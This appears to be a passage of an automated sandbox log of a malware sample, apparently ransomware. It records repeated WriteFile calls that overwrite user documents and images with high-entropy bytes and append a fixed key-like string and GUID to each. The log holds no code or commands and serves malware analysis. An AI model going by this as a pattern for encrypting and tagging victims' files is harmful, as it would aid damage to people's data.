2e 60 fd 0c fd 0e 47 fd 37 
fd 77 5d 08 08 fd 53 fd fd 
26 00 fd 35 40 63 6b fd 
1a 53 51 7e 65 24 27 fd 
fd 44 fd 01 fd 42 79 fd 7d 
16 76 fd fd fd fd fd fd 7d 
fd 20 42 fd 62 fd 61 60 21 
75 fd fd 57 fd fd 1c 0d fd 
fd fd 29 73 7d 60 dd fd 12 
fd 28 37 fd fd 0b 01 46 fd 
fd 37 6f fd 6e fd fd fd 21 
fd fd fd 20 fd fd 6b 47 0c 
72 fd 0f fd 4a fd fd 5f fd 
11 fd 0b fd 2e fd fd 

Iy4pwxaopQ=|xShS.XX7
YUu%x;(eqx
pazxP/D7GmLu$~w;`QmI
~&t:iEB.`G
7w]S&5@ckSQ~e$'DBy}
v} Bba`!uW)s`(7F7on! 
kGrJ_.

success or wait 1 411859 WriteFile

C:\Users\user\Documents\NIKHQA
IQAU.jpg

1026 256 03 fd fd fd 75 67 fd 07 0a 
47 3c fd 18 fd 5a 44 fd 1f 
62 55 fd 76 21 fd 02 fd 56 
01 05 fd fd 5e 59 fd 19 fd 
57 fd fd fd 49 fd 60 2e 4b 
75 65 34 fd 72 58 fd 1a fd 
22 7f fd 24 fd fd fd 57 fd 
fd 7e fd 25 11 69 44 fd fd 
27 fd d0 62 fd fd 15 79 37 
1f 03 fd 3e fd 60 52 40 1e 
19 25 fd 4b fd 31 fd fd 21 
1b fd 79 fd fd fd fd 30 31 
fd 38 fd 3c fd fd 77 29 3f 
7d fd fd 61 6f fd fd fd fd 02 
2a 7d fd 08 fd fd fd fd 1e 
08 fd f8 71 24 17 45 fd 0d 
fd fd fd 14 00 fd 30 27 2b 
fd fd ac fd 56 05 dc 2d 79 
77 5a fd 0c fd fd 79 fd 60 
fd 4d 0c 06 00 01 6e 78 
41 fd 1b fd fd 4e fd fd fd 
47 fd fd fd 12 51 7b 34 43 
fd fd fd 6d fd fd 05 fd 69 
fd fd 24 fd fd fd 3d fd fd 
66 fd 36 fd 50 53 fd 24 fd 
fd fd 2a 7d fd fd 21 fd 10 
58 31 fd 25 45 1d 

ugG<ZDbUv!V^YWI`.Kue
4rX"$W~%iD
'by7>`R@%K1!y018<w)?
}ao*}q$E0+V-
yZy`MnxANGQ{4Cmi=f6
PS$*}!X1%E

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\NIKHQA
IQAU.jpg

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\NIKHQA
IQAU.jpg

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\NWTVCD
UMOB.docx

5 1021 fd 1a fd 56 48 39 fd fd 17 
fd fd 63 fd cf fd 3a fd fd 
0d fd 58 fd 53 fd 56 fd 5b 
4a 10 49 41 5c 74 27 5b 
6f fd 53 fd fd fd 23 2a fd 
fd fd fd fd 05 fd fd 2d fd 
0c fd 48 c0 fd fd 51 fd fd 
fd 52 fd fd 54 fd 4f fd 1e 
0a 4d fd fd 1b fd fd 35 fd 
75 fd 51 fd 2a 47 fd fd fd 
fd fd fd fd 01 fd 42 fd 21 
0e 4a fd 6e fd 72 4c 5c fd 
fd fd 15 fd fd fd 0d fd fd fd 
fd 50 fd 1d fd fd 2d 53 0b 
fd 2d fd fd 3f fd 66 66 61 
7f 41 fd fd 9b 46 fd 52 fd 
2b fd fd 24 fd 73 4c 4e 4e 
26 fd 4e 19 41 0e 7c fd 
46 fd fd 3a fd 47 fd 39 fd 
fd 2e 2e 23 3f 74 fd 16 4c 
fd fd 4b 1a fd 33 fd fd 62 
fd 78 fd 42 0b fd 05 2d 08 
66 2d fd 73 4e ac 1c 25 fd 
20 fd fd fd 42 fd 3f 2b fd 
05 fd 2b fd 0d 5b fd fd 41 
fd 2a 2b fd 77 fd fd fd 54 
49 0f 48 15 53 fd 13 fd 

VH9c:XSV[JIA\t'[oS#*-
HQRTOM5uQ
*GB!JnrL\P-S-?
faAFR+$sLNN&NA|F
:G9..#?tLKbxB-f-sN%B?
++[A*+wTIHS

success or wait 1 411859 WriteFile

C:\Users\user\Documents\NWTVCD
UMOB.docx

1026 256 08 6c 71 6e 09 fd fd fd 33 
1a fd 6f fd 3e fd 79 fd fd 
fd cd 4f 18 6f 59 fd 17 61 
fd fd fd 6a 7d fd 69 fd fd 
fd 39 fd 09 fd fd 22 15 fd 
1c fd 58 01 fd 12 fd fd 0f 
43 3a 08 fd fd 21 78 6a 
55 92 fd 15 fd 63 fd 77 fd 
44 3b 42 51 36 fd 14 21 
53 fd 77 fd fd 3f fd fd 1f fd 
4d fd 03 4a 1a fd 26 fd fd 
fd 32 fd 0d 37 1f fd 76 fd 
51 fd 08 fd 13 09 fd 29 fd 
7f 42 fd 0e 64 fd 5c fd fd 
37 26 7d 7f fd 0e fd 05 fd 
48 0f 56 03 fd fd fd fd 27 
7a 0e 0f fd 69 07 1e fd fd 
fd 6b 00 0d 42 fd fd fd fd 
4d 7d 13 fd 02 1d 2f fd fd 
52 fd 7f 09 09 0d fd fd fd 
fd 33 fd fd 02 fd fd 4f 62 
2e fd fd 0a fd 49 fd 5d 0a 
fd 20 fd fd a9 5e fd fd fd 
34 fd 5f 31 23 fd fd fd fd fd 
22 fd fd 08 fd 3f fd 75 0b 
40 64 57 83 fd 63 fd fd 2b 
fd fd fd fd a2 fd 6f fd fd 79 

lqn3o>yOoYaj}i9"XC:!xjU
cwD;BQ6!Sw?
MJ&7vQ)d\7&}HV'zikBM}
/R3Ob.I] ^4_1#"?
u@dWc+oy

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\NWTVCD
UMOB.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\NWTVCD
UMOB.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\NWTVCD
UMOB.pdf

5 1021 fd 4c 24 44 25 4d 10 10 
fd 59 fd 35 fd 7c 40 fd 55 
0f 0f fd fd 64 50 29 3b 51 
fd 43 fd 41 17 12 fd fd 17 
23 01 fd 32 fd 3b fd 2d fd 
fd fd fd fd 60 fd 46 15 0b 
fd 2f fd 1a c0 4a 0e 0e 35 
78 21 fd fd 4a fd 24 fd fd 
2b 2e 21 5c fd fd 16 fd 5e 
fd 21 1d fd 62 04 99 21 
36 fd 02 32 23 0b 2e 29 
fd fd fd 12 04 3b 45 6e fd 
4e 43 fd fd 07 fd b8 28 fd 
0d 45 60 3a 36 20 fd fd fd 
74 fd fd 44 fd ac fd fd fd 
2d fd 77 43 fd fd 0e fd 42 
4c fd 28 fd 0b 51 fd fd fd 
1e fd fd 37 57 fd fd fd fd 
14 46 0f fd 3a 73 3d 12 fd 
fd fd 2b 32 7b fd 23 fd 7d 
fd fd 60 79 32 fd fd fd 7b 
64 fd fd fd 3e 1c 14 fd fd 
80 1d 1c fd 21 fd 48 33 
5b fd fd fd fd 5a 06 fd fd 
0e 4c 5a 3d 0e fd fd 7a fd 
12 7c fd 00 2d fd fd 4b 5e 
2a fd 34 fd 29 fd 4a 18 7d 
1f 10 29 44 

L$D%MY5|@UdP);QCA#
2;-`F/J5x!J$
+.!\^!b!62#.);EnNC(E`:6 
tD-CBL
(Q7WF:s=+2#}`y2{d>!H3[
ZL=z|K^*4)J})D

success or wait 1 411859 WriteFile

C:\Users\user\Documents\NWTVCD
UMOB.pdf

1026 256 64 5c 5d 30 18 66 fd 6e 
66 fd fd 39 fd 4c 3e 42 62 
11 fd 4a fd fd 4d fd 25 18 
fd 13 8f fd 54 00 21 16 fd 
25 2d fd fd 77 fd 4a fd fd 
33 29 07 37 fd 34 07 fd 
7d fd 12 43 16 fd 15 02 
44 3c 1e fd 56 29 2f fd fd 
07 47 fd fd 50 0a fd fd fd 
63 fd fd fd 78 fd fd 45 fd 
3f 51 fd 75 fd fd fd 6c fd fd 
41 fd fd fd 0e fd 1c fd 3a 
fd 25 1d 14 ec 3a 75 fd 
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78 43 fd fd fd 1c 50 fd fd 
57 2c fd 15 89 2a fd 5d 
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5 1021 fd 6c fd 39 fd 75 fd 4d 44 
fd 06 fd fd fd fd fd 32 42 
6b fd fd 49 51 56 3d 2d 
43 fd 44 fd fd fd 55 fd 28 
fd 13 3f fd fd 34 16 3b 41 
73 6a fd fd fd 25 fd 18 50 
fd fd 51 fd fd fd 06 fd 52 
fd 04 fd 1c fd 73 67 fd 74 
38 fd 68 fd fd 7c fd 5f 43 
2b 40 d7 fd 2a 58 fd fd 5a 
64 0e fd 66 04 7c fd 27 fd 
fd 77 2c fd fd 65 2e fd 4e 
69 31 fd fd 76 fd fd fd 0f 
1b fd 53 42 2d 22 7c 06 
39 2c 30 5e fd fd 10 fd fd 
fd fd 15 fd 1c 5c fd fd 7f 
49 64 02 fd fd fd fd fd 4b 
1e fd fd fd 9b fd 02 39 fd 
48 9b fd 4e 33 34 fd 6b 
58 fd 7e fd 6c fd 08 fd 16 
fd 60 fd 5c 37 bf 6a 12 fd 
fd fd 71 fd 32 fd 3a fd fd 
fd 4a 56 fd bc 61 fd 44 fd 
22 fd fd fd a3 fd 3c fd 70 
7c fd fd fd 6e 13 25 fd 65 
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19 69 ec fd fd 13 4d 5c 24 
fd 73 fd fd 42 5c 6f fd fd 
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5 1021 71 fd 48 56 6d fd fd 48 fd 
72 72 63 fd fd 11 40 6e 
4d fd fd fd fd fd fd 5f fd fd 
16 59 12 fd fd e1 14 fd 51 
23 0e 6e 57 fd 3d 48 fd 
33 fd 58 25 fd fd 51 60 06 
1f fd fd 0a 26 65 0a fd 4b 
6f fd 2a fd 24 fd 03 fd 12 
fd fd 0f fd 7a 58 0b 7d fd 
fd fd fd 3f fd 15 6e fd 58 
fd 0c fd 50 19 fd fd 67 fd 
61 fd 3b 46 fd fd fd fd fd 
4c 70 fd fd 61 fd 41 1e 31 
fd fd 35 10 fd 5f fd 23 3f 
fd fd 6c 54 fd 25 10 fd fd 
5a 7a fd 66 fd fd 68 fd fd 
fd fd fd fd fd 2e 06 fd 4e 
fd 7d fd 53 61 49 fd fd fd 
2d 4c 2b 58 3b 25 fd 51 
21 26 20 c3 fd 43 2f fd fd 
44 fd 45 fd 09 fd 26 70 fd 
47 53 51 4d 40 7f fd fd fd 
21 45 fd 6f 63 fd 1a fd 5d 
fd fd 3c fd fd 24 fd 22 76 
fd 44 fd 6c fd 11 fd fd 33 
fd 7f 4b fd fd 28 74 fd fd 
41 fd fd 50 fd 4f 5e 5c 51 
fd fd 38 
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50 fd fd 19 fd 6f 31 3f 50 
fd fd 3e fd fd 10 fd ac 5d 
fd fd 10 0b 7c 49 fd 01 5b 
fd fd 60 fd fd 73 fd 63 fd 
59 1c fd 32 fd fd fd 0c 1f 
fd 1c 6c fd 2a 68 51 0c 26 
fd fd 4d fd fd 4a fd f4 4f 
19 fd fd 4e 47 fd 07 fd fd 
6f 15 fd 44 22 77 04 fd fd 
fd fd 2e 6c 5c fd fd 24 12 
fd 6c fd fd 22 28 49 46 2a 
71 1a fd fd 5c fd 6c fd fd 
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5 1021 58 fd 38 24 fd f7 39 fd 14 
fd 70 68 fd fd fd fd 4a fd 
fd 72 fd 39 f9 fd fd 03 fd 
fd 73 28 fd 1b fd 15 6f 75 
04 fd 0c 20 fd 59 65 16 fd 
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25 42 fd fd 1e fd fd 1d fd 
fd fd fd fd fd fd fd fd fd 47 
fd 15 6d 0b fd 71 4b 54 
ed fd 7a 71 fd 0f fd 2f 05 
07 68 3a 5f fd 19 79 3e fd 
4c fd 4f fd 49 5c fd fd fd 
4c fd fd 7c fd 2a 34 7c fd 
fd 04 66 fd fd 0f fd fd 57 
fd 5f 1c fd fd fd fd 11 15 
fd fd 27 37 6b fd 1a fd fd 
57 53 61 05 fd 3d fd fd fd 
53 fd 48 07 2a fd fd 10 68 
fd 1d fd fd 3e fd fd 68 fd 
78 fd 52 44 fd fd fd 6d fd 
0c 70 68 75 fd fd 55 fd 11 
fd 09 6f fd 73 5f 1d fd c1 
fd 5f 5b fd 43 fd 33 fd 06 
05 5e fd 54 fd fd fd fd 2e 
fd fd 1e 4f 3e 56 fd fd fd 
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68 48 fd 04 fd 3c fd 5c fd 
fd 40 fd 75 fd 34 fd fd 7b 
10 fd 2a 7f fd 5b 7b fd ab 
fd fd fd 00 fd 52 15 fd 2e 
fd 36 fd 26 6b 46 77 5a fd 
fd 40 fd 7b 62 03 56 fd db 
fd 24 3d 63 fd 7e fd fd fd 
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5 1021 21 20 fd 19 fd fd fd 3d 72 
25 fd 1d 3a 52 fd 39 fd 67 
fd e5 35 fd fd 7a fd 67 fd 
35 fd 14 fd fd 39 fd fd fd 
fd 5c 34 3e 28 50 35 4b 
fd 14 16 fd 12 6f fd 73 fd 
fd 5a 77 fd 52 67 4c 22 fd 
7b 78 39 73 fd fd 6c 69 
11 fd fd 04 fd 0c 47 28 59 
fd fd fd 75 b9 fd fd 2b 78 
fd 08 fd 5f fd fd fd 57 7c 
fd 15 7f 3e fd 75 fd fd 2f 
fd fd 27 fd 48 06 fd 0a 35 
fd fd 0d fd fd 26 16 fd 2b 
5d 17 fd 07 fd 0e fd 6e 0d 
14 1d fd 34 3d 40 14 fd 
33 fd 1d 63 13 45 32 fd fd 
fd 88 5d fd 36 20 5b 3d 
56 20 5b 2b 3d 34 28 fd 
37 3f fd fd 24 73 5f fd 78 
fd 64 29 fd 53 3c 40 fd 29 
fd 3b 6c fd 59 35 0b fd fd 
66 fd 48 fd fd fd fd 22 1d 
fd fd 1b 42 fd 2f fd fd fd 
10 4c fd 47 fd 48 fd fd fd 
fd fd fd 0b 76 fd fd fd 48 
36 fd 64 6b 5e 6d 62 7f fd 
fd 22 fd fd 5e 32 
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1c 78 fd 0f 6e fd fd fd 2a 
fd 0b fd 28 fd fd fd 26 fd 
28 70 fd fd 0f fd 04 33 38 
fd 77 35 05 3d fd 18 fd fd 
fd 33 13 fd fd 21 fd fd 07 
0e 58 82 30 fd 27 4d fd fd 
4a 05 fd 61 fd fd 3d 78 65 
fd fd 14 2e fd 2e 65 fd fd 
d8 1a fd 25 67 fd ae 66 
30 fd 66 87 32 7e 00 13 
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5 1021 33 48 51 48 fd 0a fd 01 
3c fd 73 36 09 05 2b fd 
76 52 77 5a 47 fd fd 75 fd 
10 56 fd 20 37 fd 52 15 fd 
10 fd fd 44 3c fd 74 fd 14 
fd 05 73 47 29 fd 41 2f 5c 
40 fd fd fd fd fd 57 34 dd 
fd 6b fd 71 fd fd 7d 58 fd 
27 fd fd fd fd fd 6b fd fd fd 
3f 62 2c 46 fd 10 21 38 fd 
78 fd 22 76 fd 0f fd 07 fd 
2b 5a 30 fd 5c 68 32 fd 
74 50 fd 68 1e fd 39 5b 
2e 48 fd 47 2e 6f fd 7d 52 
fd b2 5d fd 7b fd 5d fd fd 
fd fd fd fd 34 4a 38 18 fd 
38 fd fd 13 53 fd fd 10 fd 
fd 7e fd 03 fd 0b 17 fd fd 
06 48 68 0c 27 fd fd fd 1e 
fd fd 3d 18 fd fd fd fd fd fd 
fd 04 fd fd fd 51 01 21 3e 
22 fd 00 58 fd 27 e6 fd 4d 
26 3a fd 4b 2d fd 4f fd 05 
17 fd fd 4f fd fd fd 36 fd 
14 41 fd fd 6c fd 5c 1b 13 
31 fd 66 fd fd 01 fd 78 fd 
30 d8 79 61 26 53 
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0d fd ae fd fd fd 75 69 0e 
41 5a fd 27 fd 6e 49 fd fd 
47 35 e2 fd fd 18 fd 1d 69 
b0 17 fd 12 14 fd fd 75 47 
2a fd 3e fd fd fd fd 6f 6c fd 
0e fd 43 6c fd fd 1a a2 30 
fd 33 55 01 4e 40 0a fd 
57 fd 40 5b fd 4a 58 fd fd 
67 fd 28 fd 6a fd fd 57 fd 
66 fd fd 88 29 fd fd fd 2b 
12 fd 0e 71 0c 1f fd 21 fd 
29 fd fd 19 fd fd 43 3a fd 
72 35 fd 0d fd 7e fd fd 73 
fd fd 28 fd 78 16 fd 02 fd 
65 fd 45 05 41 5a 35 03 
fd 7a 03 62 fd fd fd fd 01 
fd 72 fd 3b 21 fd fd 
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5 1021 fd fd 70 fd 74 32 fd 13 57 
04 fd fd fd 17 fd fd fd 36 
0a 05 7f fd 48 fd fd 4e 3d 
fd fd 10 7a 23 28 fd fd 7a 
48 fd a2 fd 7b fd 45 fd 5d 
a0 42 fd fd fd 38 fd 27 fd 
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3e fd fd 09 51 43 42 60 fd 
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76 fd 27 78 49 fd 1f 60 fd 
fd fd 94 15 fd 75 2b 1d 4f 
17 38 77 fd 3f fd fd fd 2a 
fd 0b 15 fd fd fd fd fd 45 
fd ba 4f 20 43 fd fd fd 53 
1d 57 fd fd 6d 46 37 15 
0d 49 fd 48 33 fd fd fd 10 
77 0a 1b fd 2d 36 50 12 
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28 fd fd 59 6d fd 38 fd 46 
fd fd 34 10 69 62 fd fd e0 
0f 1a fd 50 fd fd 61 3d 2b 
24 75 fd 69 78 4d fd 42 
04 fd 11 4b 4d fd fd fd 46 
fd fd fd 5f fd 07 fd fd fd 78 
3f 1b 2e fd fd 57 28 fd fd 
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5 1021 41 fd 1f fd fd fd fd 2c 79 fd 
fd 02 15 fd fd 6f fe fd 3a 
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16 1b fd fd 34 fd fd 3b 5b 
37 1a fd 36 11 64 55 fd 
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67 fd 3f 38 59 fd 5c 57 fd 
63 fd fd 1b 53 fd 27 4d 46 
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5a 2e 1a fd 5b 59 77 23 
33 fd 43 68 53 6f fd 60 fd 
3c fd 7c 46 5a 45 1d fd 
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7a fd fd 06 28 14 6b 07 
26 57 0e 22 72 18 12 fd 
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fd fd 2e 3f 30 74 fd 73 fd 
79 fd 46 fd fd 69 fd fd 59 
fd fd 50 fd 44 5e 5a 32 51 
fd fd 78 52 68 64 fd 2f 16 
fd fd 2d fd fd 13 fd fd 4f 
51 0b fd fd 68 fd 1d 29 fd 
fd fd fd 70 6c 4f 53 2a fd 
fd 6b 63 fd 28 fd 10 fd fd 
3f fd fd fd 2a fd 74 39 33 
fd 05 2c fd fd 51 27 2b fd 
fd 53 fd fd 1d fd 49 64 21 
fd 78 2b 69 fd 1e 60 6f 03 
7f fd fd 40 fd 3f 3f 34 fd 
27 3e 0b fd 5a 53 fd fd 6f 
32 21 fd 10 fd fd 04 62 4a 
75 a3 30 5a 2f 05 fd fd 5c 
fd fd 51 fd 72 6e 6c fd 57 
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5 1021 fd ac 6e fd fd 0b fd 37 fd 
72 fd 08 16 fd 7a fd 3a 52 
0f 58 fd 75 fd fd 74 07 74 
23 6e 19 fd fd 26 fd 1b 79 
1c 41 2f 66 fd 57 71 4a fd 
64 fd 0a 15 03 25 fd fd 6e 
fd 2f 7e fd 2d fd 4d fd 18 
fd 64 0b fd fd 11 fd 65 6d 
fd 6d 2f 4a fd fd 2f 44 1f 
fd 70 fd 6e 19 60 75 03 
5c 7b 55 fd fd 76 fd fd 49 
51 32 fd fd fd 77 fd 41 fd 
fd 09 67 fd 00 31 fd 19 20 
fd 4a fd fd fd fd 0f 77 69 
3d 59 6c 72 fd 27 fd fd 79 
5c 21 3d 70 fd 60 fd 13 
41 18 35 26 fd 76 07 fd fd 
33 fd fd 57 fd fd 7d 36 fd 
fd 51 fd fd 61 fd 19 0f 42 
fd fd 1d fd 67 65 32 6c fd 
fd 0a 54 1d 5e 3c fd fd fd 
51 1a fd 49 fd fd fd 44 fd 
79 fd 0a 7a fd fd 56 2d fd 
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5 1021 43 fd 4c 2e 38 fd 3c 2e fd 
5f 1e 09 68 fd fd fd 5b 01 
53 1d fd 64 fd 10 48 fd fd 
2a fd 22 a8 05 0a fd 1f 4f 
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14 7a 69 fd fd 75 7c 07 
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fd fd fd 50 78 fd 2e 75 fd 
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fd 54 fd fd fd 1e fd fd 40 
16 fd 77 fd 3c fd 45 00 2a 
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7e fd 5e f9 07 fd 46 66 4e 
fd fd fd fd fd fd 6b fd 54 5c 
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fd af 4f b2 31 fd fd a3 61 
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fd 08 fd fd fd fd fd 54 3c 
56 fd fd 5b fd e5 fd 33 22 
38 31 08 12 6b 58 7b 4b 
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4a fd 5d fd fd 4e 07 71 fd 
5b fd 3b fd 04 5c fd 74 16 
55 1c fd fd fd 73 fd 29 fd 
04 4b 6f fd fd 15 6c 10 fd 
fd fd 7a 40 1e 4c 47 31 fd 
fd 27 1f fd fd 76 b6 3b fd 
cf 58 0f fd 29 fd 13 fd 16 
02 fd 4c 37 02 fd fd 64 13 
6c fd 74 26 6b 05 fd 66 
1b fd fd fd 63 2d 12 11 fd 
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5 1021 30 fd 47 6d 67 fd 6d fd 48 
29 fd 23 fd 41 fd 06 fd 73 
fd fd 48 70 15 fd 09 1c 56 
fd fd fd 78 fd 16 30 02 31 
fd 41 5c 27 fd fd 0a 45 65 
2c 2f 4e fd fd 71 70 78 fd 
0e fd 67 7c fd fd 6a 02 fd 
1a fd 44 fd fd 17 fd 20 fd 
fd 6b fd 3b fd 6f fd 6d 34 
fd 54 22 74 fd 25 fd fd 6b 
fd fd 54 12 fd 09 76 fd 29 
4e 69 fd 08 2a fd 63 fd 49 
fd fd 0f fd 14 fd 66 26 50 
fd c6 71 14 fd fd 02 72 fd 
fd fd 3d fd fd fd fd 28 f0 
67 4f 46 fd 22 00 0e fd 52 
fd 1e 09 5c fd fd 1f fd fd 
27 42 fd fd 16 2f 7a fd fd 
30 fd 07 12 7e 77 46 fd fd 
77 fd fd 62 fd 57 63 fd 0a 
fd 1e fd fd 5a 47 fd 4e 6f 
17 2f fd 43 fd fd 19 65 fd 
db af fd fd 20 1c 22 25 fd 
fd ea fd fd 3c fd 19 fd fd 
fd 69 fd fd fd 1b 26 47 fd 
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5f 1e fd 0b fd 4a fd 6e 63 
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34 2b 1c 70 2e fd fd fd 09 
6f fd fd 6d fd 60 6f 22 05 
fd 7b 4f 77 fd 7f 10 19 fd 
52 63 04 0e 78 14 25 00 
fd 24 fd fd 73 fd 16 fd fd 
fd 49 59 fd fd fd 4f 22 27 
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5 1021 fd fd fd fd 73 22 54 2e fd 
41 71 fd 67 fd 64 fd 2d 12 
fd 42 52 fd 39 14 fd 2a fd 
fd fd 66 fd fd 22 fd fd fd 
39 75 fd 15 6f fd fd 01 5b 
75 15 72 20 64 7e fd fd 7f 
fd 07 16 4b fd fd 2d fd 2e 
fd 11 39 04 4a 27 fd fd 0c 
fd 15 fd fd 3b fd 56 61 fd 
17 3d 4b fd 2d 61 4b fd fd 
21 fd fd fd fd 64 75 fd fd fd 
fd fd fd 62 fd fd 67 fd fd fd 
16 fd 58 fd 5f fd 74 fd fd fd 
26 fd fd 57 06 45 fd 3c 1a 
fd fd 4b fd 21 fd 3a 78 2c 
fd 27 fd fd 56 fd fd 14 fd 
50 fd 59 c9 fd 49 43 2b fd 
7a 3a 56 fd fd fd 05 fd fd 
20 fd 72 13 9e 6c 4a fd fd 
fd 45 37 3c 4e 64 2b 61 
fd fd 26 fd fd 09 fd 65 15 
00 fd 13 1c 0f 2c 65 4d 6d 
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fd 6e 18 fd fd fd 3d fd 36 
fd fd 22 9f fd 62 fd 48 fd 
29 fd 1f 6c 24 fd 3a 54 fd 
fd dd fd 22 53 fd 0e fd fd 
17 fd 4a fd fd 35 6e fb 78 
23 27 21 fd 2f fd fd fd 09 
fd fd fd 2d 56 7e fd fd 40 
fd 6e 4d 4e fd fd 62 4a fd 
4e ee 0e 26 1e 3e fd 4f fd 
fd 53 fd 62 fd ba be fd fd 
4a 6a fd 6c 54 fd fd 6a 03 
fd 1c 55 fd 7b fd 07 fd 3a 
77 2d fd 61 fd 
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5 1021 19 fd fd 50 34 fd 2c 33 0a 
fd fd 72 1c fd 22 6f fd fd 
fd 2a 32 2d 16 2c 36 2e 
13 31 37 20 43 5e fd 0b 
1e 73 5c 0b fd fd 43 72 fd 
fd 36 fd 25 08 fd fd fd 37 
20 52 26 fd 98 16 00 07 
fd 3f 3d fd fd fd 1f 62 6f fd 
fd 5e fd 32 29 41 fd fd 52 
fd 47 22 50 fd fd 19 fd 1c 
fd fd fd 1c 60 3b fd 4d fd 
6c fd fd 76 fd fd 12 fd fd 7f 
fd fd 30 15 4a fd 0d 55 2f 
fd fd fd fd 48 4c 69 fd fd fd 
34 fd 63 60 07 0b fd 21 fd 
43 fd fd 1d 48 b2 fd 12 68 
fd fd 30 fd 06 fd fd 5d fd 
0a fd 4b fd fd fd fd 15 fd 
02 fd 1c fd fd 03 fd fd 00 
66 63 fd 26 30 fd 2a fd 47 
d0 4c fd 04 7c fd 6f 14 fd 
fd fd fd fd fd 7e 69 16 11 
63 fd 42 07 34 4b fd fd 54 
fd fd fd 12 fd fd fd 04 fd fd 
54 04 fd 21 fd 7b 2c fd fd 
6c 48 01 0a 26 fd fd fd 63 
53 76 fd fd 5b 6f 62 64 
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27 6e fd fd 59 3e 0d 54 fd 
4e 1c fd fd fd 53 fd 3e fd 
fd fd fd 12 17 fd fd fd 2c 
46 fd fd 6e 7d 04 27 42 
7c 05 42 fd fd fd 7e fd ce 
fd 00 3f fd fd fd 5d fd fd fd 
51 fd 74 fd fd 50 fd 7e 7d 
64 5c fd 37 fd 34 fd 5f 4e 
fd fd 27 fd 13 34 42 fd fd 
22 19 45 fd fd 1d 6a fd 67 
fd 65 6c fd fd 47 fd fd 5b 
46 fd fd fd 15 fd 23 5c 63 
fd 11 01 fd fd 22 2b 21 53 
59 fd 5d 54 47 00 fd 6d fd 
65 fd 0a 57 3c fd 62 fd 6c 
fd fd fd 65 2e fd fd fd fd 
91 58 fd 44 fd fd fd 35 6b 
fd 0f fd fd 21 36 19 5e 5f 
c5 3a 38 fd fd 3b fd 5e 3e 
fd fd 58 fd fd 6f fd 6d fd 
3a 02 7b 39 3d fd 30 c5 
fd 5b fd 11 13 1b 4c fd 28 
fd 2e 47 4c 39 7e 73 16 
6b fd fd 18 fd 3b fd 47 fd 
fd fd 47 3c 7c 6c 64 62 72 
fd fd fd fd 41 fd 1e fd fd 
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C:\Users\user\Downloads\VAMYDF
PUND.png

5 1021 1f 73 0b 67 fd fd fd fd 5a 
fd 59 fd 08 60 73 35 fd 36 
6e 4f fd fd 3a 7f fd 0e fd 
fd 10 34 57 fd fd fd 0f fd 
62 fd fd fd fd 17 46 fd 37 
3e 6f fd 33 27 fd 01 2d 1f 
fd 11 1a fd fd fd fd 3f fd 
39 3f 09 fd 41 fd 0d 42 fd 
34 1a 7b fd fd fd fd fd 0a 
5f 6b fd fd fd 3c 4e 87 1e 
fd fd 01 38 fd 74 0a 7b 17 
24 4f 41 fd 2c 62 5f 5c fd 
fd fd 15 26 2d fd fd fd 44 
fd fd fd 51 fd fd fd 13 4d 
54 fd fd 7f 74 d7 fd 6c fd 
17 fd fd fd 08 57 fd 7c fd 
fd fd 0b fd 0e 1f 69 58 6f 
fd fd 50 37 fd 51 25 2c fd 
16 49 fd 39 fd 30 71 fd fd 
de 63 1f 43 4d fd fd 6e 39 
fd fd fd 32 fd 4d 50 5b 5a 
18 fd 6e 63 fd 20 05 59 
46 fd 45 5e 1b fd fd fd fd 
2f 26 fd 3e fd fd fd 78 0c 
fd 6a fd fd fd fd 2e fd fd 
22 fd fd fd 79 13 72 1e fd 
fd 24 37 5c 88 fd fd fd 41 
fd 07 52 fd fd 6e 
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fd 34 29 78 fd 41 42 2c 
10 fd 2b 56 02 fd 29 76 
3b fd fd fd 4e 5d fd fd 13 
73 eb fd 56 45 fd 5f 70 5b 
fd fd 50 6f ec fd 25 49 fd 
fd fd 1e 21 fd 65 69 fd fd 
fd fd 3d 71 1d ea 0c 10 
36 fd 5c 00 5d fd 62 56 
0a 47 26 fd 21 fd fd 6c 0e 
32 fd fd 11 29 44 fd fd fd 
fd 10 21 76 fd 6e fd fd fd 
1a 4b fd 31 fd fd 7c 21 5e 
17 04 fd 62 78 2e 41 fd 
4a fd fd 15 2a fd 00 23 fd 
fd fd 16 fd 5d 29 50 5d fd 
fd fd fd 10 2f 21 fd 21 11 
61 76 fd fd 56 fd 42 fd 02 
fd fd 0a 59 a3 1c fd 7b fd 
fd 68 fd fd fd 14 fd fd 39 
49 fd fd 7b 01 07 21 fd fd 
73 13 74 55 fd fd 80 38 1f 
2f fd fd fd fd fd 70 14 5d 
55 fd fd fd 58 fd 4c 33 28 
fd fd fd fd fd 7d fd 68 fd fd 
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C:\Users\user\Downloads\WUTJSC
BCFX.docx

5 1021 fd 72 72 fd fd fd 2e 2a bf 
67 00 26 fd fd 09 3b fd 1f 
68 fd 28 dc 07 26 73 2b 
7a fd 72 fd fd fd 1d fd fd 
6d fd 5c fd fd 49 4c fd 21 
0f fd fd 5a 49 fd fd fd fd 
29 1a fd 61 7a 6d 57 5b 
0a 41 14 fd 06 fd fd 21 66 
fd fd fd 7b 48 67 fd 3f fd 
fd 0e fd 46 0f fd 29 67 26 
fd 14 3f 29 fd 05 11 39 3a 
fd 7f fd 05 fd 7c fd 7a fd fd 
30 6d 01 12 07 fd 20 fd 
